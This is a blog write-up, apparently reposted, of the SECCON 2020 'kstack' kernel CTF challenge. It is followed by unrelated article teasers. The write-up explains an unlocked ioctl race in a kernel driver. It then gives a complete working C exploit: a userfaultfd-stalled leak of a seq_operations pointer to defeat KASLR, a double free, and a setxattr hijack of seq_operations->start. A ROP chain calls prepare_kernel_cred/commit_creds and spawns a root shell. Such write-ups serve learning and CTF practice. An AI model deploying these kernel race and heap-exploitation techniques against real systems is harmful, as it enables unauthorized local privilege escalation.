【setxattr+userfaultfd】SECCON2020-kstack

news2024/9/21 19:10:08

这个题主要还是练习 userfaultfd 的利用。说实话,userfaultfd 的利用还是挺多的,虽然在新的内核版本已经做了相关保护。

老规矩,看下启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
    -cpu kvm64,+smep \
    -net user -net nic -device e1000 \
    -no-reboot \
    -s \
    -monitor /dev/null \
    -nographic

开启了 smep、kaslr 和 kpti(kvm64默认自动开启 kpti) 保护 

程序分析

驱动程序就实现了一个 proc_ioctl 函数,其实有两个功能

插入堆块

cmd = 0x57ac0001 时,会创建一个大小为 32 的 object,并先将其插入到 head 链表中,然后在利用 copy_from_user 写入 8 字节数据

主要就是维护以下链表:这里的 check_flag 不用关,对做题没有影响

删除堆块 

 

可以看到该功能的逻辑是:先利用 copy_to_user 复制数据,然后在将堆块从链表中摘除并释放。但是这里还需要注意的是他这里最后释放的是 v6,而 v6 来自于上面的 v5

 漏洞利用

对于插入堆块其逻辑为:后面称作 add

1、创建一个 0x20 的堆块

2、将堆块插入链表

3、利用 copy_from_user 写数据

对于删除堆块其逻辑为:后面称作 dele

1、从链表中取出堆块

2、利用 copy_to_user 读数据

3、将堆块脱链并释放

而在 ioctl 中所有的操作都没有上锁,所以这里给了我们条件竞争的机会。

leak kernel_offset/base

我们可以在 add 时,利用 userfaultfd 将其卡在第 3 步,这时堆块已经被挂进链表了,但是还没有写入数据,这里我们在利用 dele 去删除该堆块,则可以读出 8 字节的数据。

这里我选择利用 seq_operations 去泄漏内核基地址,官方wp用的 shm_file_data 结构体去泄漏。

主要的泄漏逻辑如下:

1、先打开 /proc/self/stat 文件,这里会创建一个 seq_operations 结构体,而这个结构体大小刚好为 0x20

2、关闭 /proc/self/stat 文件,此时 seq_operations 结构体会被释放,但其第二个字段的数据并没有被清除

3、add 一个堆块,此时会拿到释放的 seq_operations 对象,注意 add 是先挂进链表,再写入数据,所以此时用 userfaultfd 将其卡住,然后再在 userfaultfd 的处理线程中利用 dele 将该堆块释放掉,这样就可以读取到 single_stop 的值了,从而泄漏内核地址

construct double free

构造 double free 比较简单,因为在 dele 一个堆块时,是先读取数据,然后再将堆块从链表中摘除并释放。所以我们可以在读取数据的时候用 userfaultfd 将其卡住,然后在 userfaultfd 的处理线程中再将其释放一次就 ok 了。

setxattr+userfaultfd 劫持 seq_operations 进行提权 

有了 double_free,最后考虑直接劫持 seq_operations,然后配合 pt_regs 直接提权。当然这里可以直接去修改 freelist 指针,然后直接分配到 modprobe_path 的位置从而去修改 flag 的权限直接拿 flag。

最终exp如下:

需要注意的是我们的准备代码应该放在最开始,防止对后面堆布局产生影响。这里我就踩了一个大坑,我最开始是把 mmap 放在每个利用的开始的,结果调试发现 setxattr 无法拿到 double free 的堆块,但是 seq_operations 是可以直接拿到该堆块的。然后继续调试发现,我是成功 double free 了的。最后搞了好久,才发现是 mmap 产生了噪声,将 double free 的第一个堆块给拿走了,最后我把 mmap 放在了最前面,就没有问题了

还有就是最开始我们打开了很多的 /proc/self/stat,最后在提权前又将其释放了。这里主要是为了修复 kmalloc-32 的 freelist,因为在 double free 后,其 freelist 已经被我们破坏了。而在后面我们执行 read 、system 等操作时,可能需要分配 0x20 大小的 object,如果我们不对其进行修复,则会导致 panic

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <sys/shm.h>
#include <poll.h>

#define SINGLE_STOP 0xffffffff8113be80
#define INIT_IPC_NS 0xffffffff81c37bc0

size_t pop_rdi = 0xffffffff81034505; // pop rdi ; ret
size_t xchg_rdi_rax = 0xffffffff81d8df6d; // xchg rdi, rax ; ret
size_t commit_creds = 0xffffffff81069c10;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t add_rsp_xx = 0xFFFFFFFF814D51C0;
size_t mov_rdi_rax_pop = 0xffffffff8121f89a; // mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff8121f88d ; pop rbp ; ret
size_t swapgs_kpti = 0xFFFFFFFF81600A44;

int fd;
int seq_fd;
int tmp_seq_fd[101];
size_t kernel_offset;

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void add(char* buf)
{
        if (ioctl(fd, 0x57AC0001, buf) < 0) err_exit("add");
}

void dele(char* buf)
{
        if (ioctl(fd, 0x57AC0002, buf) < 0) err_exit("dele");
}


void register_userfaultfd(void* moniter_addr, pthread_t* moniter, void* handler)
{
        int uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");

        uffdio_register.range.start = (unsigned long long)moniter_addr;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");

        if (pthread_create(moniter, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}


pthread_t leak, dfree, pwn;
char* uffd_copy_src = NULL;
void leak_handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");

                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for leak_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");

                info("Leak the kernel base in userfaultfd -- leak_handler");
                dele(&kernel_offset);

                hexx("single_stop", kernel_offset);
                kernel_offset -= SINGLE_STOP;

                hexx("kernel_offset", kernel_offset);

                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
        }

}

void dfree_handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for dfree_handler");

                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for dfree_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for dfree_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in dfree_handler");

                info("Construct double free in userfaultfd -- dfree_handler");
                puts("double free for second free");
                dele(uffd_copy_src);

                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in dfree_handler");
        }

}

void pwn_handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for pwn_handler");

                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for pwn_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for pwn_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in pwn_handler");

                info("PWN PWN -- pwn_handler");
                for (int i = 1; i < 101; i++) close(tmp_seq_fd[i]);
                add(uffd_copy_src);
                asm volatile(
                "mov r13, pop_rdi;"
                "mov r12, 0;"
                "mov rbp, prepare_kernel_cred;"
                "mov rbx, mov_rdi_rax_pop;"
                "mov r10, commit_creds;"
                "mov r9,  swapgs_kpti;"
                "mov rcx, 0xbbbbbbbb;"
                );
                read(seq_fd, uffd_copy_src, 8);

                hexx("UID", getuid());
                system("/bin/sh");

                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in pwn_handler");
        }

}

int main(int argc, char** argv, char** env)
{

        bind_core(0);
        char* uffd_buf_leak;
        char* uffd_buf_dfree;
        char* uffd_buf_pwn;

        hexx("page_size", sysconf(_SC_PAGE_SIZE));

        fd = open("/proc/stack", O_RDWR);
        if (fd < 0) err_exit("Failed to open dev file -- /proc/stack");

        uffd_copy_src = malloc(0x1000);

        for (int i = 1; i < 101; i++)
                if ((tmp_seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) err_exit("Failed to open /proc/self/stat");

        uffd_buf_leak = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf_leak, &leak, leak_handler);

        uffd_buf_dfree = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf_dfree, &dfree, dfree_handler);

        uffd_buf_pwn = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf_pwn+0x1000, &pwn, pwn_handler);
        // leak kernel base or kernle offset

        tmp_seq_fd[0] = open("/proc/self/stat", O_RDONLY);
        close(tmp_seq_fd[0]);

        add(uffd_buf_leak);

        pop_rdi += kernel_offset;
        xchg_rdi_rax += kernel_offset;
        commit_creds += kernel_offset;
        prepare_kernel_cred += kernel_offset;
        mov_rdi_rax_pop += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        // construct double free
        add("XiaozaYa");
        puts("double free for first free");
        dele(uffd_buf_dfree);

        // pwn by hijacking the seq_operations->start
        // just test double free
//      puts("Test double free fetch");
//      info("Frist fetch object");
//      add(uffd_copy_src);
//      info("Second fetch object");
//      add(uffd_copy_src);

        *(size_t*)(uffd_buf_pwn+0x1000-8) = add_rsp_xx;
        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("Failed to open /proc/self/stat to hijack seq_operations->start");
        setxattr("/exp", "hacker", uffd_buf_pwn+0x1000-8, 32, 0);

        return 0;
}

最后可成功提权:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1061116.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第三章、运输层

文章目录 3.1 概述和运输层服务3.1.1 运输层和网络层的关系3.1.2 因特网运输层概述 3.2 多路复用与多路分解3.3 无连接运输&#xff1a;UDP3.4 可靠数据传输原理3.4.1构造可靠数据传输协议rdt1.0rdt2.xrdt3.0 3.4.2 流水线可靠数据传输协议3.4.3 回退N步3.4.4选择重传 3.5 面向…

x64内核实验1-调试环境配置

x64内核实验1-调试环境配置 这是一套x64内核实验的课程&#xff0c;我之前学习32位内核的时候就是在网上找的各种教程当学完32位很久之后发现在网上的64位内核相关的完整教程真的很少&#xff0c;所以就想着不如自己写一点方便对内核有兴趣的人能更好的入门&#xff0c;首先声…

哈希原理和解决哈希冲突方法

第一 哈希介绍 哈希和红黑树是我早期就听过的名词&#xff0c;却一直没见到真面目&#xff0c;实现哈希后才发现原来我早就使用过了哈希。看下面例题。 用map和set都可以轻松解决&#xff0c;但是在我写这题时我还不会用map和set&#xff0c;我用了另一种方法。看下面代码。先定…

【Java】微服务——Nacos配置管理(统一配置管理热更新配置共享Nacos集群搭建)

目录 1.统一配置管理1.1.在nacos中添加配置文件1.2.从微服务拉取配置1.3总结 2.配置热更新2.1.方式一2.2.方式二2.3总结 3.配置共享1&#xff09;添加一个环境共享配置2&#xff09;在user-service中读取共享配置3&#xff09;运行两个UserApplication&#xff0c;使用不同的pr…

Office Tool Plus下载与神龙版官网下载

文章目录 一、Office Tool Plus下载二、神龙下载 Office Tool Plus简称OTP&#xff0c;是一款专业的Office官方镜像下载器&#xff0c;可以下载安装Word、Excel、Visio等。神龙用于快速激活使用。 注意&#xff1a;Win7系统必须要SP1或更高版本才能使用&#xff0c;Office Tool…

intel 一些偏门汇编指令总结

intel 汇编手册下载链接&#xff1a;https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html LDS指令&#xff1a; 手册中可以找到 位于 3-588 根据手册内容猜测&#xff1a;lds r16 m16:16 的作用&#xff0c;是把位于 [m16:16] 内存地址的数…

JMeter的详细使用及相关问题

一、中文乱码问题 如果出现乱码&#xff0c;需要修改编码集&#xff0c;&#xff08;版本问题有的不需要修改&#xff0c;就不用管&#xff09; 修改后保存重启就好了。 JMeter5.5版本的按照如下修改&#xff1a; 二、JMeter的启动 ①建议直接用ApacheJMeter.jar双击启动…

Zabbix4自定义脚本监控MySQL数据库

一、MySQL数据库配置 1.1 创建Mysql数据库用户 [rootmysql ~]# mysql -uroot -p create user zabbix127.0.0.1 identified by 123456; flush privileges; 1.2 添加用户密码到mysql client的配置文件中 [rootmysql ~]# vim /etc/my.cnf.d/client.cnf [client] host127.0.0.1 u…

CSDN博主粉丝数突破10万:坚持分享的力量与收获

今天&#xff0c;我在CSDN上看到了一位好友的统计数据&#xff0c;他统计了CSDN上所有粉丝数量排名靠前的博主的排名。虽然这个统计可能存在一些误差&#xff0c;但大体上应该是准确的。我惊讶地发现&#xff0c;截止到2023年10月4日&#xff0c;我的粉丝数量已经达到了101,376…

QScrollArea样式

QScrollBar垂直滚动条分为sub-line、add-line、add-page、sub-page、up-arrow、down-arrow和handle几个部分。 QScrollBar水平滚动条分为sub-line、add-line、add-page、sub-page、left-arrow、right-arrow和handle几个部分。 部件如下图所示&#xff1a; /* 整个滚动…

Pikachu靶场——文件包含漏洞(File Inclusion)

文章目录 1. File Inclusion1.2 File Inclusion(local)1.2.1 源代码分析1.2.2 漏洞防御 1.3 File Inclusion(remote)1.3.1 源代码分析1.3.2 漏洞防御 1.4 文件包含漏洞防御 1. File Inclusion 还可以参考我的另一篇文章&#xff1a;文件包含漏洞及漏洞复现。 File Inclusion(…

商业智能系统的主要功能包括数据仓库、数据ETL、数据统计输出、分析功能

ETL服务内容包含&#xff1a; 数据迁移数据合并数据同步数据交换数据联邦数据仓库

plt 画图不显示label

没写 plt.legend() 这个 ! # 效果模拟-------------- import matplotlib.pyplot as plt import matplotlib as mpl # matplotlib其实是不支持显示中文的 显示中文需要一行代码设置字体 mpl.rcParams[font.family] = STKAITI # STKAITI——字体 plt.rcParams[axes.unicode_m…

亲,您的假期余额已经严重不足了......

引言 大家好&#xff0c;我是亿元程序员&#xff0c;一位有着8年游戏行业经验的主程。 转眼八天长假已经接近尾声了&#xff0c;今天来总结一下大家的假期&#xff0c;聊一聊假期关于学习的看法&#xff0c;并预估一下大家节后大家上班时的样子。 1.放假前一天 即将迎来八天…

侯捷 C++ STL标准库和泛型编程 —— 9 STL周围

最后一篇&#xff0c;完结辽&#xff01;&#x1f60b; 9 STL周围 9.1 万用Hash Function Hash Function的常规写法&#xff1a;其中 hash_val 就是万用Hash Function class CustumerHash { public:size_t operator()(const Customer& c) const{ return hash_val(c.fna…

x64内核实验2-段机制的变化

x64内核实验2-段机制的变化 ia-32e模式简介 x86下的段描述符结构图如下 在x86环境下段描述符主要分为3个部分的内容&#xff1a;base、limit、attribute&#xff0c;而到了64位环境下段的限制越来越少&#xff0c;主要体现在base和limit已经不再使用而是直接置空&#xff0…

U盘里文件损坏无法打开怎么恢复?

U盘&#xff0c;全称为USB闪存盘&#xff0c;是一种体积小巧、传输数据速度快的便携式存储设备。由于其出色的便捷性和高效性&#xff0c;U盘在各个工作领域和日常生活中得到了广泛应用&#xff0c;赢得了消费者的普遍好评。然而&#xff0c;使用U盘的过程中也可能会面临数据损…

Zabbix配置监控文件系统可用空间小于30GB自动告警

一、创建监控项 二、配置监控项 #输入名称–>键值点击选择 #找到磁盘容量点击 注&#xff1a; 1、vfs 该键值用于检测磁盘剩余空间&#xff0c;zabbix 内置了非常多的键值可以选着使用 2、单位B不需要修改&#xff0c;后期图表中单位和G拼接起来就是GB 3、更新时间 10S…

Qt扫盲-QSqlTableModel理论总结

QSqlTableModel理论总结 一、概述二、使用1. 与 view 视图绑定2. 做中间层&#xff0c;不显示 三、常用函数 一、概述 QSqlTableModel是用于从单个表读写数据库记录的高级接口。它构建在较低级的QSqlQuery之上&#xff0c;可用于向QTableView 等视图类提供数据。这个主要是对单…

基于三平面映射的地形纹理化【Triplanar Mapping】

你可能遇到过这样的地形&#xff1a;悬崖陡峭的一侧的纹理拉伸得如此之大&#xff0c;以至于看起来不切实际。 也许你有一个程序化生成的世界&#xff0c;你无法对其进行 UV 展开和纹理处理。 推荐&#xff1a;用 NSDT编辑器 快速搭建可编程3D场景 三平面映射&#xff08;Trip…